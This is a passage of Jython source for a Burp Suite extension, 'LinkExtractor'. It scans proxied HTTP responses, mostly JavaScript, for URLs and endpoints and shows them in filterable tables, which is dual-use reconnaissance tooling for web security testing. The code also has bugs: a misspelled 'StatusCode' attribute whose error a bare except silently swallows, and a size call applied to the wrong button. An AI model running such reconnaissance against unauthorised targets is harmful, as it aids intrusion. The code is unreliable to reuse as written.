stSection1HeaderLabel.setFont(stHeaderFont)\n stSection1HeaderLabel.setBorder(swing.BorderFactory.createEmptyBorder(0, 0, 10, 0))\n\n self.stInScopeOnlyCheckBox = swing.JCheckBox(self.stStrings[\"inScopeOnlyCheckBox\"], None, True)\n self.stInScopeOnlyCheckBox.setActionCommand(\"toggleInScopeOnly\")\n self.stInScopeOnlyCheckBox.addActionListener(self.eventHandler)\n \n self.stIgnoreDupsCheckBox = swing.JCheckBox(self.stStrings[\"ignoreDupsCheckBox\"], None, True)\n self.stIgnoreDupsCheckBox.setActionCommand(\"toggleIgnoreDups\")\n self.stIgnoreDupsCheckBox.addActionListener(self.eventHandler)\n self.stIgnoreDupsCheckBox.setBorder(swing.BorderFactory.createEmptyBorder(0, 0, 15, 0))\n \n stIgnoreDupsLabel = swing.JLabel(self.stStrings[\"ignoreDupsLabel\"])\n stIgnoreDupsLabel.setFont(swing.JLabel().getFont().deriveFont(Font.ITALIC))\n \n stToolSelectionLabel = swing.JLabel(self.stStrings[\"toolSelectionLabel\"])\n\n self.stToolSelectionCheckBox1 = swing.JCheckBox(\"Proxy\", None, True)\n self.stToolSelectionCheckBox1.setActionCommand(\"toggleToolSelectionProxy\")\n self.stToolSelectionCheckBox1.addActionListener(self.eventHandler)\n self.stToolSelectionCheckBox1.setBorder(swing.BorderFactory.createEmptyBorder(0, 0, 15, 15))\n\n self.stToolSelectionCheckBox2 = swing.JCheckBox(\"Spider\", None, False)\n self.stToolSelectionCheckBox2.setActionCommand(\"toggleToolSelectionSpider\")\n self.stToolSelectionCheckBox2.addActionListener(self.eventHandler)\n self.stToolSelectionCheckBox2.setBorder(swing.BorderFactory.createEmptyBorder(0, 0, 0, 15))\n \n self.stToolSelectionCheckBox3 = swing.JCheckBox(\"Scanner\", None, False)\n self.stToolSelectionCheckBox3.setActionCommand(\"toggleToolSelectionScanner\")\n self.stToolSelectionCheckBox3.addActionListener(self.eventHandler)\n self.stToolSelectionCheckBox3.setBorder(swing.BorderFactory.createEmptyBorder(0, 0, 0, 0))\n \n stProcessLabel = swing.JLabel(self.stStrings[\"processLabel\"])\n\n self.stGroup1RadioButton1 = swing.JRadioButton(self.stStrings[\"group1RadioButton1\"], None, True)\n self.stGroup1RadioButton1.setActionCommand(\"setProcess1\")\n self.stGroup1RadioButton1.addActionListener(self.eventHandler)\n \n self.stGroup1RadioButton2 = swing.JRadioButton(self.stStrings[\"group1RadioButton2\"])\n self.stGroup1RadioButton2.setActionCommand(\"setProcess2\")\n self.stGroup1RadioButton2.addActionListener(self.eventHandler)\n \n self.stGroup1RadioButton3 = swing.JRadioButton(self.stStrings[\"group1RadioButton3\"])\n self.stGroup1RadioButton3.setActionCommand(\"setProcess0\")\n self.stGroup1RadioButton3.addActionListener(self.eventHandler)\n \n stButtonGroup1 = swing.ButtonGroup()\n stButtonGroup1.add(self.stGroup1RadioButton1)\n stButtonGroup1.add(self.stGroup1RadioButton2)\n stButtonGroup1.add(self.stGroup1RadioButton3)\n \n stSeparator1 = swing.JSeparator(swing.SwingConstants.HORIZONTAL); setFixedSize(stSeparator1, 1920, 5)\n \n # Section 2 #\n\n stSection2HeaderLabel = swing.JLabel(self.stStrings[\"section2HeaderLabel\"])\n stSection2HeaderLabel.setFont(stHeaderFont)\n stSection2HeaderLabel.setBorder(swing.BorderFactory.createEmptyBorder(0, 0, 8, 0))\n\n stSourceExclusionsLabel = swing.JLabel(self.stStrings[\"sourceExclusionsLabel\"])\n\n stEditButton = swing.JButton(\"Edit\"); setFixedSize(stEditButton, 76, 22)\n stEditButton.setActionCommand(\"editSourceExclusion\")\n stEditButton.addActionListener(self.eventHandler)\n stEditButton.setMnemonic(KeyEvent.VK_E)\n\n stRemoveButton = swing.JButton(\"Remove\"); setFixedSize(stRemoveButton, 76, 22)\n stRemoveButton.setActionCommand(\"removeSelectedSourceExclusions\")\n stRemoveButton.addActionListener(self.eventHandler)\n stRemoveButton.setMnemonic(KeyEvent.VK_R)\n \n stClearButton = swing.JButton(\"Clear\"); setFixedSize(stClearButton, 76, 22)\n stClearButton.setActionCommand(\"clearSourceExclusions\")\n stClearButton.addActionListener(self.eventHandler)\n stClearButton.setMnemonic(KeyEvent.VK_C)\n \n stLoadButton = swing.JButton(\"Load ...\"); setFixedSize(stLoadButton, 76, 22)\n stLoadButton.setActionCommand(\"loadSourceExclusions\")\n stLoadButton.addActionListener(self.eventHandler)\n stLoadButton.setMnemonic(KeyEvent.VK_L)\n \n stToggleButton = swing.JButton(\"Toggle\"); setFixedSize(stToggleButton, 76, 22) # enable/disable source exclusion(s)\n stToggleButton.setActionCommand(\"toggleSourceExclusions\")\n stToggleButton.addActionListener(self.eventHandler)\n stToggleButton.setMnemonic(KeyEvent.VK_T)\n \n stAddButton = swing.JButton(\"Add\"); setFixedSize(stAddButton, 76, 22)\n stAddButton.setActionCommand(\"addSourceExclusion\")\n stAddButton.addActionListener(self.eventHandler)\n \n self.sourceExclusionsTable = ExclusionsTable(self.settings.sourceExclusionsModel)\n sourceExclusionsTotalWidth = 500\n stSourceExclusionsScrollPane = swing.JScrollPane(self.sourceExclusionsTable); setFixedSize(stSourceExclusionsScrollPane, sourceExclusionsTotalWidth, 200)\n sourceExclusionsColumnWidthPercentages = (0.12, 0.88)\n sourceExclusionsColumnModel = self.sourceExclusionsTable.getColumnModel()\n for i in range(self.sourceExclusionsTable.getColumnCount()):\n width = int(round(sourceExclusionsTotalWidth * sourceExclusionsColumnWidthPercentages[i]))\n sourceExclusionsColumnModel.getColumn(i).setPreferredWidth(width)\n centerCellRenderer = DefaultTableCellRenderer()\n centerCellRenderer.setHorizontalAlignment(swing.SwingConstants.CENTER)\n sourceExclusionsColumnModel.getColumn(0).setCellRenderer(centerCellRenderer)\n\n stAddExclusionTextField = swing.JTextField(); setFixedSize(stAddExclusionTextField, 500, 22)\n stAddExclusionTextField.setActionCommand(\"addSourceExclusion\")\n stAddExclusionTextField.addActionListener(self.eventHandler)\n self.stAddExclusionTextField = stAddExclusionTextField\n \n stSeparator2 = swing.JSeparator(swing.SwingConstants.HORIZONTAL); setFixedSize(stSeparator2, 1920, 5)\n \n # Section 3 #\n\n stSection3HeaderLabel = swing.JLabel(self.stStrings[\"section3HeaderLabel\"])\n stSection3HeaderLabel.setFont(stHeaderFont)\n stSection3HeaderLabel.setBorder(swing.BorderFactory.createEmptyBorder(0, 0, 8, 0))\n\n stLinkExclusionsLabel = swing.JLabel(self.stStrings[\"linkExclusionsLabel\"])\n\n stEdit2Button = swing.JButton(\"Edit\"); setFixedSize(stEdit2Button, 76, 22)\n stEdit2Button.setActionCommand(\"editLinkExclusion\")\n stEdit2Button.addActionListener(self.eventHandler)\n\n stRemove2Button = swing.JButton(\"Remove\"); setFixedSize(stRemove2Button, 76, 22)\n stRemove2Button.setActionCommand(\"removeSelectedLinkExclusions\")\n stRemove2Button.addActionListener(self.eventHandler)\n \n stClear2Button = swing.JButton(\"Clear\"); setFixedSize(stClear2Button, 76, 22)\n stClear2Button.setActionCommand(\"clearLinkExclusions\")\n stClear2Button.addActionListener(self.eventHandler)\n \n stLoad2Button = swing.JButton(\"Load ...\"); setFixedSize(stLoad2Button, 76, 22)\n stLoad2Button.setActionCommand(\"loadLinkExclusions\")\n stLoad2Button.addActionListener(self.eventHandler)\n \n stToggle2Button = swing.JButton(\"Toggle\"); setFixedSize(stToggle2Button, 76, 22) # enable/disable link exclusion(s)\n stToggle2Button.setActionCommand(\"toggleLinkExclusions\")\n stToggle2Button.addActionListener(self.eventHandler)\n \n stAdd2Button = swing.JButton(\"Add\"); setFixedSize(stAdd2Button, 76, 22)\n stAdd2Button.setActionCommand(\"addLinkExclusion\")\n stAdd2Button.addActionListener(self.eventHandler)\n \n self.linkExclusionsTable = ExclusionsTable(self.settings.linkExclusionsModel)\n linkExclusionsTotalWidth = 500\n stLinkExclusionsScrollPane = swing.JScrollPane(self.linkExclusionsTable); setFixedSize(stLinkExclusionsScrollPane, linkExclusionsTotalWidth, 200)\n linkExclusionsColumnWidthPercentages = (0.12, 0.88)\n linkExclusionsColumnModel = self.linkExclusionsTable.getColumnModel()\n for i in range(self.linkExclusionsTable.getColumnCount()):\n width = int(round(linkExclusionsTotalWidth * linkExclusionsColumnWidthPercentages[i]))\n linkExclusionsColumnModel.getColumn(i).setPreferredWidth(width)\n #centerCellRenderer = DefaultTableCellRenderer()\n #centerCellRenderer.setHorizontalAlignment(swing.SwingConstants.CENTER)\n linkExclusionsColumnModel.getColumn(0).setCellRenderer(centerCellRenderer) # same centerCellRenderer as with sourceExclusionsColumnModel\n\n stAddExclusion2TextField = swing.JTextField(); setFixedSize(stAddExclusion2TextField, 500, 22)\n stAddExclusion2TextField.setActionCommand(\"addLinkExclusion\")\n stAddExclusion2TextField.addActionListener(self.eventHandler)\n self.stAddExclusion2TextField = stAddExclusion2TextField\n \n stSeparator3 = swing.JSeparator(swing.SwingConstants.HORIZONTAL); setFixedSize(stSeparator3, 1920, 5)\n \n # Section 4 #\n\n stSection4HeaderLabel = swing.JLabel(self.stStrings[\"section4HeaderLabel\"])\n stSection4HeaderLabel.setFont(stHeaderFont)\n\n stExportLabel = swing.JLabel(self.stStrings[\"exportLabel\"])\n \n stTextButton = swing.JButton(\"Text\"); setFixedSize(stTextButton, 76, 22)\n stTextButton.setActionCommand(\"exportAsText\")\n stTextButton.addActionListener(self.eventHandler)\n \n stClearFindingsButton = swing.JButton(\"Clear Findings\"); setFixedSize(stTextButton, 100, 22)\n stClearFindingsButton.setActionCommand(\"clearFindings\")\n stClearFindingsButton.addActionListener(self.eventHandler)\n \n stSeparator4 = swing.JSeparator(swing.SwingConstants.HORIZONTAL); setFixedSize(stSeparator4, 1920, 5)\n\n ### Layout Setup ###\n\n stPanel = swing.JPanel()\n stPanel.setBorder(swing.BorderFactory.createEmptyBorder(10, 20, 10, 20))\n stLayout = swing.GroupLayout(stPanel)\n stPanel.setLayout(stLayout)\n stLayout.setAutoCreateGaps(True)\n stLayout.setAutoCreateContainerGaps(True)\n stScrollPane = swing.JScrollPane(stPanel)\n stScrollPane.setHorizontalScrollBarPolicy(swing.JScrollPane.HORIZONTAL_SCROLLBAR_NEVER)\n \n stLayout.setHorizontalGroup(\n stLayout.createSequentialGroup()\n .addGroup(stLayout.createParallelGroup()\n .addComponent(stSection1HeaderLabel) # Section 1\n .addGroup(stLayout.createSequentialGroup()\n .addGroup(stLayout.createParallelGroup()\n .addComponent(self.stInScopeOnlyCheckBox)\n .addGroup(stLayout.createSequentialGroup()\n .addComponent(self.stIgnoreDupsCheckBox)\n .addComponent(stIgnoreDupsLabel)\n )\n .addComponent(stToolSelectionLabel)\n .addGroup(stLayout.createSequentialGroup()\n .addComponent(self.stToolSelectionCheckBox1)\n .addComponent(self.stToolSelectionCheckBox2)\n .addComponent(self.stToolSelectionCheckBox3)\n )\n .addComponent(stProcessLabel)\n .addComponent(self.stGroup1RadioButton1)\n .addComponent(self.stGroup1RadioButton2)\n .addComponent(self.stGroup1RadioButton3)\n )\n )\n .addComponent(stSeparator1)\n .addComponent(stSection2HeaderLabel) # Section 2\n .addComponent(stSourceExclusionsLabel)\n .addGroup(stLayout.createSequentialGroup()\n .addGroup(stLayout.createParallelGroup()\n .addComponent(stEditButton)\n .addComponent(stRemoveButton)\n .addComponent(stClearButton)\n .addComponent(stLoadButton)\n .addComponent(stToggleButton)\n )\n .addComponent(stSourceExclusionsScrollPane)\n )\n .addGroup(stLayout.createSequentialGroup()\n .addComponent(stAddButton)\n .addComponent(stAddExclusionTextField)\n )\n .addComponent(stSeparator2)\n .addComponent(stSection3HeaderLabel) # Section 3\n .addComponent(stLinkExclusionsLabel)\n .addGroup(stLayout.createSequentialGroup()\n .addGroup(stLayout.createParallelGroup()\n .addComponent(stEdit2Button)\n .addComponent(stRemove2Button)\n .addComponent(stClear2Button)\n .addComponent(stLoad2Button)\n .addComponent(stToggle2Button)\n )\n .addComponent(stLinkExclusionsScrollPane)\n )\n .addGroup(stLayout.createSequentialGroup()\n .addComponent(stAdd2Button)\n .addComponent(stAddExclusion2TextField)\n )\n .addComponent(stSeparator3)\n .addComponent(stSection4HeaderLabel) # Section 4\n .addGroup(stLayout.createSequentialGroup()\n .addComponent(stExportLabel)\n .addComponent(stTextButton)\n )\n .addComponent(stClearFindingsButton)\n .addComponent(stSeparator4)\n )\n )\n\n stLayout.setVerticalGroup(\n stLayout.createSequentialGroup()\n .addComponent(stSection1HeaderLabel) # Section 1\n .addGroup(stLayout.createSequentialGroup()\n .addComponent(self.stInScopeOnlyCheckBox)\n .addGroup(stLayout.createParallelGroup()\n .addComponent(self.stIgnoreDupsCheckBox)\n .addComponent(stIgnoreDupsLabel)\n )\n .addComponent(stToolSelectionLabel)\n .addGroup(stLayout.createParallelGroup()\n .addComponent(self.stToolSelectionCheckBox1)\n .addComponent(self.stToolSelectionCheckBox2)\n .addComponent(self.stToolSelectionCheckBox3)\n )\n .addComponent(stProcessLabel)\n .addComponent(self.stGroup1RadioButton1)\n .addComponent(self.stGroup1RadioButton2)\n .addComponent(self.stGroup1RadioButton3)\n )\n .addComponent(stSeparator1)\n .addComponent(stSection2HeaderLabel) # Section 2\n .addComponent(stSourceExclusionsLabel)\n .addGroup(stLayout.createSequentialGroup()\n .addGroup(stLayout.createParallelGroup()\n .addGroup(stLayout.createSequentialGroup()\n .addComponent(stEditButton)\n .addComponent(stRemoveButton)\n .addComponent(stClearButton)\n .addComponent(stLoadButton)\n .addComponent(stToggleButton)\n )\n .addComponent(stSourceExclusionsScrollPane)\n )\n )\n .addGroup(stLayout.createParallelGroup()\n .addComponent(stAddButton)\n .addComponent(stAddExclusionTextField)\n )\n .addComponent(stSeparator2)\n .addComponent(stSection3HeaderLabel) # Section 3\n .addComponent(stLinkExclusionsLabel)\n .addGroup(stLayout.createSequentialGroup()\n .addGroup(stLayout.createParallelGroup()\n .addGroup(stLayout.createSequentialGroup()\n .addComponent(stEdit2Button)\n .addComponent(stRemove2Button)\n .addComponent(stClear2Button)\n .addComponent(stLoad2Button)\n .addComponent(stToggle2Button)\n )\n .addComponent(stLinkExclusionsScrollPane)\n )\n )\n .addGroup(stLayout.createParallelGroup()\n .addComponent(stAdd2Button)\n .addComponent(stAddExclusion2TextField)\n )\n .addComponent(stSeparator3)\n .addComponent(stSection4HeaderLabel) # Section 4\n .addGroup(stLayout.createParallelGroup()\n .addComponent(stExportLabel)\n .addComponent(stTextButton)\n )\n .addComponent(stClearFindingsButton)\n .addComponent(stSeparator4)\n )\n\n self.callbacks.customizeUiComponent(self.tabbedPane)\n self.tabbedPane.addTab(\"Findings\", ftSplitPane)\n self.tabbedPane.addTab(\"Settings\", stScrollPane)\n self.callbacks.addSuiteTab(self)\n\n\n # implementing ITab\n\n def getTabCaption(self):\n return \"LinkExtractor\"\n \n def getUiComponent(self):\n return self.tabbedPane\n\n\n # implementing IHttpListener\n\n def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):\n\n if messageIsRequest or self.settings.process == 0 or not toolFlag in self.settings.toolSelection: return\n\n try:\n\n analyzedRequest = self.helpers.analyzeRequest(messageInfo)\n analyzedResponse = self.helpers.analyzeResponse(messageInfo.getResponse())\n responseContent = self.helpers.bytesToString(messageInfo.getResponse())\n\n urlObj = analyzedRequest.getUrl()\n url = str(urlObj)\n parsedUrl = urlparse(str(urlObj))\n host = \"%s://%s\" % (parsedUrl.scheme, parsedUrl.hostname)\n path = \"%s?%s\" % (parsedUrl.path, parsedUrl.query) if parsedUrl.query else parsedUrl.path\n method = analyzedRequest.getMethod()\n statusCode = analyzedResponse.getStatusCode()\n extension = getExtension(parsedUrl.path)\n\n regexes = [i.regex for i in self.settings.sourceExclusionsModel.entries if i.enabled]\n if self.settings.process == 1 and extension != \"js\" or any([regex.search(url) for regex in regexes]): return\n\n scopeBool = self.settings.inScopeOnly and self.callbacks.isInScope(urlObj) or not self.settings.inScopeOnly\n dupBool = self.settings.ignoreDups and not self.sourcesModel.entryExists(host, path, method, statusCode) or not self.settings.ignoreDups\n\n if scopeBool and dupBool:\n length = len(responseContent)\n mimeType = analyzedResponse.getStatedMimeType()\n time = str(datetime.now())\n links = self.linkExtractor.extractLinks(responseContent, host)\n sourceEntry = self.sourcesModel.addEntry(host, path, method, statusCode, length, mimeType, extension, time)\n \n regexes = [i.regex for i in self.settings.linkExclusionsModel.entries if i.enabled]\n for i in links:\n if any([regex.search(i) for regex in regexes]): continue\n linkEntry = self.linksModel.addEntry(i, sourceEntry)\n sourceEntry.addLink(linkEntry)\n self.sourcesModel.refreshTable()\n\n except: pass\n\n\nclass LinkExtractor():\n\n regexStr = r\"\"\"\n\n (?:\"|') # Start newline delimiter\n (\n ((?:[a-zA-Z]{1,10}://|//) # Match a scheme [a-Z]*1-10 or //\n [^\"'/]{1,}\\. # Match a domainname (any character + dot)\n [a-zA-Z]{2,}[^\"']{0,}) # The domainextension and/or path\n |\n ((?:/|\\.\\./|\\./) # Start with /,../,./\n [^\"'><,;| *()(%%$^/\\\\\\[\\]] # Next character can't be...\n [^\"'><,;|()]{1,}) # Rest of the characters can't be\n |\n ([a-zA-Z0-9_\\-/]{1,}/ # Relative endpoint with /\n [a-zA-Z0-9_\\-/]{1,} # Resource name\n \\.(?:[a-zA-Z]{1,4}|action) # Rest + extension (length 1-4 or action)\n (?:[\\?|/][^\"|']{0,}|)) # ? mark with parameters\n |\n ([a-zA-Z0-9_\\-]{1,} # filename\n \\.(?:php|asp|aspx|jsp|json|\n action|html|js|txt|xml) # . + extension\n (?:\\?[^\"|']{0,}|)) # ? mark with parameters\n )\n (?:\"|') # End newline delimiter\n\n \"\"\"\n\n regex = re.compile(regexStr, re.VERBOSE)\n\n def extractLinks(self, content, host):\n matches = self.regex.findall(content)\n links = list(set([urljoin(host, list(set(i))[1]) for i in matches if i != \"\"]))\n return links\n\n\n# Sources\n\nclass SourceEntry():\n \n def __init__(self, id, host, path, method, statusCode, length, mimeType, extension, time):\n self.id = id\n self.host = host\n self.path = path\n self.method = method\n self.statusCode = statusCode\n self.length = length\n self.mimeType = mimeType\n self.extension = extension\n self.time = time\n self.links = []\n\n def addLink(self, link):\n for i in self.links:\n if link.url == i.url: return False\n self.links.append(link)\n return True\n\n\nclass SourcesModel(AbstractTableModel):\n\n columnNames = (\"#\", \"Host\", \"Path\", \"Method\", \"Status Code\", \"Length\", \"MIME Type\", \"Extension\", \"Time\")\n\n def __init__(self):\n self.entries = ArrayList()\n self.displayedEntries = ArrayList()\n self.lastId = 0\n\n def addEntry(self, host, path, method, statusCode, length, mimeType, extension, time):\n self.lastId += 1\n id = self.lastId\n entry = SourceEntry(id, host, path, method, statusCode, length, mimeType, extension, time)\n self.entries.add(entry)\n self.fireTableDataChanged()\n return entry \n\n def entryExists(self, host, path, method, statusCode):\n for i in range(self.entries.size()):\n entry = self.entries.get(i)\n if host == entry.host and path == entry.path and method == entry.method and statusCode == entry.StatusCode: return True\n return False\n\n def clearEntries(self):\n self.displayedEntries.clear()\n self.entries.clear()\n self.fireTableDataChanged()\n\n def getEntryById(self, id):\n for i in range(self.entries.size()):\n entry = self.entries.get(i)\n if id == entry.id: return entry\n\n def refreshTable(self):\n self.displayedEntries.clear()\n for entry in self.entries:\n if len(entry.links) > 0: self.displayedEntries.add(entry)\n self.fireTableDataChanged()\n\n def getColumnName(self, columnIndex):\n return self.columnNames[columnIndex]\n\n def getRowCount(self):\n return self.displayedEntries.size()\n\n def getColumnCount(self):\n return len(self.columnNames)\n\n def getValueAt(self, rowIndex, columnIndex):\n entry = self.displayedEntries.get(rowIndex)\n if columnIndex == 0: return entry.id\n elif columnIndex == 1: return entry.host\n elif columnIndex == 2: return entry.path\n elif columnIndex == 3: return entry.method\n elif columnIndex == 4: return entry.statusCode\n elif columnIndex == 5: return entry.length\n elif columnIndex == 6: return entry.mimeType\n elif columnIndex == 7: return entry.extension\n elif columnIndex == 8: return entry.time\n else: return \"\"\n\n\nclass SourcesTable(swing.JTable):\n\n def __init__(self, model, extender):\n self.setModel(model)\n self.extender = extender\n\n def changeSelection(self, rowIndex, columnIndex, toggle, extend):\n self.extender.linksModel.displayedEntries.clear()\n linkEntries = self.model.getEntryById(self.model.getValueAt(rowIndex, 0)).links\n for i in linkEntries: self.extender.linksModel.displayedEntries.add(i)\n self.extender.linksModel.fireTableDataChanged()\n swing.JTable.changeSelection(self, rowIndex, columnIndex, toggle, extend)\n\n\n# Links\n\nclass LinkEntry():\n \n def __init__(self, id, url, source):\n self.id = id\n self.url = url\n self.sources = [source]\n\n def hasSource(self, source):\n return True if source in self.sources else False\n\n def addSource(self, source):\n if not self.hasSource(source): self.sources.append(source)\n\n\nclass LinksModel(AbstractTableModel):\n\n columnNames = (\"#\", \"URL\")\n\n def __init__(self):\n self.entries = ArrayList()\n self.displayedEntries = ArrayList()\n self.lastId = 0\n\n def addEntry(self, url, source):\n for i in range(self.entries.size()):\n entry = self.entries.get(i)\n if url == entry.url:\n entry.addSource(source)\n return entry\n self.lastId += 1\n id = self.lastId\n entry = LinkEntry(id, url, source)\n self.entries.add(entry)\n return entry\n\n def clearEntries(self):\n self.displayedEntries.clear()\n self.entries.clear()\n self.fireTableDataChanged()\n\n def getAllUrls(self):\n return [self.entries.get(i).url for i in range(self.entries.size())]\n\n def getColumnName(self, columnIndex):\n return self.columnNames[columnIndex]\n\n def getRowCount(self):\n return self.displayedEntries.size()\n\n def getColumnCount(self):\n return len(self.columnNames)\n\n def getValueAt(self, rowIndex, columnIndex):\n entry = self.displayedEntries.get(rowIndex)\n if columnIndex == 0: return entry.id\n elif columnIndex == 1: return entry.url\n else: return \"\"\n\n\nclass LinksTable(swing.JTable):\n\n def __init__(self, model):\n self.setModel(model)\n\n\n# Exclusions\n\nclass ExclusionEntry():\n\n def __init__(self, regexStr, enabled=True):\n self.regex = re.compile(regexStr, re.IGNORECASE)\n self.enabled = enabled\n\n def editRegex(self, regexStr):\n self.regex = re.compile(regexStr, re.IGNORECASE)\n\n def toggle(self):\n self.enabled = not self.enabled\n\nclass ExclusionsModel(AbstractTableModel):\n\n columnNames = (\"Enabled\", \"Regex\")\n\n def __init__(self, exclusions):\n self.entries = exclusions # array (not ArrayList)\n\n def addEntry(self, regexStr, enabled=True):\n entry = ExclusionEntry(regexStr, enabled)\n self.entries.append(entry)\n self.fireTableDataChanged()\n\n def editEntryRegex(self, index, regexStr):\n self.entries[index].editRegex(regexStr)\n self.fireTableDataChanged()\n\n def removeEntry(self, index):\n del self.entries[index]\n self.fireTableDataChanged()\n\n def toggleEntries(self, indexes):\n for i in indexes: self.entries[i].toggle()\n self.fireTableDataChanged()\n\n def clearEntries(self):\n del self.entries[:]\n self.fireTableDataChanged()\n\n def getColumnName(self, columnIndex):\n return self.columnNames[columnIndex]\n\n def getRowCount(self):\n return len(self.entries)\n\n def getColumnCount(self):\n return len(self.columnNames)\n\n def getValueAt(self, rowIndex, columnIndex):\n entry = self.entries[rowIndex]\n if columnIndex == 0: return u\"\\u2714\" if entry.enabled else \"\"\n elif columnIndex == 1: return entry.regex.pattern\n else: return \"\"\n\n\nclass ExclusionsTable(swing.JTable):\n\n def __init__(self, model):\n self.setModel(model)\n\n\n# Settings\n\nclass Settings():\n\n def __init__(self, extender):\n self.extender = extender\n self.inScopeOnly = True\n self.ignoreDups = True\n self.toolSelection = [self.extender.callbacks.TOOL_PROXY]\n self.process = 1 # (the verb), 0 => nothing, 1 => only JS, 2 => anything\n self.sourceExclusionsModel = ExclusionsModel([])\n self.linkExclusionsModel = ExclusionsModel([])\n\n def loadSettings(self):\n if self.extender.callbacks.loadExtensionSetting(\"LENotFirstTime-2d9e389a\") == None:\n defaultExclusionRegexStr = \"\\.(png|jpg|jpeg|gif|ico|woff|woff2|ttf)($|\\?)\"\n self.sourceExclusionsModel.addEntry(defaultExclusionRegexStr)\n self.linkExclusionsModel.addEntry(defaultExclusionRegexStr)\n self.extender.callbacks.saveExtensionSetting(\"LENotFirstTime-2d9e389a\", \"yes\")\n self.saveSettings()\n else:\n settingsDict = json.loads(self.extender.callbacks.loadExtensionSetting(\"LESettings\"), encoding=\"utf-8\")\n \n self.inScopeOnly = settingsDict[\"inScopeOnly\"]\n self.extender.stInScopeOnlyCheckBox.setSelected(self.inScopeOnly)\n self.ignoreDups = settingsDict[\"ignoreDups\"]\n self.extender.stIgnoreDupsCheckBox.setSelected(self.ignoreDups)\n\n self.toolSelection = settingsDict[\"toolSelection\"]\n self.extender.stToolSelectionCheckBox1.setSelected(self.extender.callbacks.TOOL_PROXY in self.toolSelection)\n self.extender.stToolSelectionCheckBox2.setSelected(self.extender.callbacks.TOOL_SPIDER in self.toolSelection)\n self.extender.stToolSelectionCheckBox3.setSelected(self.extender.callbacks.TOOL_SCANNER in self.toolSelection)\n\n self.process = settingsDict[\"process\"]\n if self.process == 0: self.extender.stGroup1RadioButton3.setSelected(True)\n if self.process == 1: self.extender.stGroup1RadioButton1.setSelected(True)\n if self.process == 2: self.extender.stGroup1RadioButton2.setSelected(True)\n \n for k,v in settingsDict[\"sourceExclusions\"].iteritems(): self.sourceExclusionsModel.addEntry(k, v)\n for k,v in settingsDict[\"linkExclusions\"].iteritems(): self.linkExclusionsModel.addEntry(k, v)\n\n def saveSettings(self):\n settingsDict = {\"process\": self.process, \"inScopeOnly\": self.inScopeOnly, \"ignoreDups\": self.ignoreDups, \"toolSelection\": self.toolSelection}\n settingsDict[\"sourceExclusions\"] = {i.regex.pattern:i.enabled for i in self.sourceExclusionsModel.entries}\n settingsDict[\"linkExclusions\"] = {i.regex.pattern:i.enabled for i in self.linkExclusionsModel.entries}\n self.extender.callbacks.saveExtensionSetting(\"LESettings\", json.dumps(settingsDict))\n\n\n# Event Handling\n\nclass ActionHandler():\n\n def __init__(self, extender):\n self.extender = extender\n\n def toggleInScopeOnly(self):\n self.extender.settings.inScopeOnly = not self.extender.settings.inScopeOnly\n self.extender.settings.saveSettings()\n\n def toggleIgnoreDups(self):\n self.extender.settings.ignoreDups = not self.extender.settings.ignoreDups\n self.extender.settings.saveSettings()\n\n def toggleToolSelection(self, tool):\n toolFlag = {\"proxy\": self.extender.callbacks.TOOL_PROXY, \"spider\": self.extender.callbacks.TOOL_SPIDER, \"scanner\": self.extender.callbacks.TOOL_SCANNER}[tool]\n if toolFlag in self.extender.settings.toolSelection: self.extender.settings.toolSelection.remove(toolFlag)\n else: self.extender.settings.toolSelection.append(toolFlag)\n self.extender.settings.saveSettings()\n\n def setProcessSetting(self, value):\n self.extender.settings.process = value\n self.extender.settings.saveSettings()\n\n def addSourceExclusion(self):\n regexStr = self.extender.stAddExclusionTextField.getText()\n if len(regexStr) > 0:\n try: self.extender.settings.sourceExclusionsModel.addEntry(regexStr)\n except Exception as e: self.extender.stderr.println(\"[-] Failed adding source exclusion: %s\" % e.__class__.__name__)\n self.extender.stAddExclusionTextField.setText(\"\")\n self.extender.stAddExclusionTextField.requestFocus()\n self.extender.settings.saveSettings()\n \n def editSourceExclusion(self):\n index = self.extender.sourceExclusionsTable.getSelectedRow()\n if index != -1 :\n exclusionToEdit = self.extender.settings.sourceExclusionsModel.entries[index]\n regexStr = exclusionToEdit.regex.pattern\n result = swing.JOptionPane.showInputDialog(self.extender.tabbedPane, \\\n self.extender.stStrings[\"editExclusionDialog\"], \\\n \"Edit Exclusion\", \\\n swing.JOptionPane.PLAIN_MESSAGE, \\\n None, None, regexStr)\n if result != None:\n try: self.extender.settings.sourceExclusionsModel.editEntryRegex(index, result)\n except Exception as e: self.extender.stderr.println(\"[-] Failed editing source exclusion: %s\" % e.__class__.__name__)\n self.extender.settings.saveSettings()\n\n def removeSelectedSourceExclusions(self):\n selectedRowIndexes = self.extender.sourceExclusionsTable.getSelectedRows()\n for i in selectedRowIndexes[::-1]: self.extender.settings.sourceExclusionsModel.removeEntry(i)\n self.extender.settings.saveSettings()\n\n def clearSourceExclusions(self):\n self.extender.settings.sourceExclusionsModel.clearEntries()\n self.extender.settings.saveSettings()\n\n def loadSourceExclusions(self):\n try:\n result = self.extender.fileChooser.showOpenDialog(self.extender.tabbedPane)\n if result == swing.JFileChooser.APPROVE_OPTION:\n selectedFile = self.extender.fileChooser.getSelectedFile()\n with open(selectedFile.getCanonicalPath(), \"r\") as infile:\n regexStrings = [i for i in infile.read().splitlines() if len(i) > 0]\n for regexStr in regexStrings: self.extender.settings.sourceExclusionsModel.addEntry(regexStr)\n except Exception as e: self.extender.stderr.println(\"[-] Failed loading source exclusion(s) from file: %s\" % e.__class__.__name__)\n self.extender.settings.saveSettings()\n\n def toggleSourceExclusions(self):\n selectedRowIndexes = self.extender.sourceExclusionsTable.getSelectedRows()\n if len(selectedRowIndexes) > 0:\n self.extender.settings.sourceExclusionsModel.toggleEntries(selectedRowIndexes)\n self.extender.settings.saveSettings()\n\n def addLinkExclusion(self):\n regexStr = self.extender.stAddExclusion2TextField.getText()\n if len(regexStr) > 0:\n try: self.extender.settings.linkExclusionsModel.addEntry(regexStr)\n except Exception as e: self.extender.stderr.println(\"[-] Failed adding link exclusion: %s\" % e.__class__.__name__)\n self.extender.stAddExclusion2TextField.setText(\"\")\n self.extender.stAddExclusion2TextField.requestFocus()\n self.applyLinkExclusions()\n self.extender.settings.saveSettings()\n \n def editLinkExclusion(self):\n index = self.extender.linkExclusionsTable.getSelectedRow()\n if index != -1 :\n exclusionToEdit = self.extender.settings.linkExclusionsModel.entries[index]\n regexStr = exclusionToEdit.regex.pattern\n result = swing.JOptionPane.showInputDialog(self.extender.tabbedPane, \\\n self.extender.stStrings[\"editExclusionDialog\"], \\\n \"Edit Exclusion\", \\\n swing.JOptionPane.PLAIN_MESSAGE, \\\n None, None, regexStr)\n if result != None:\n try: 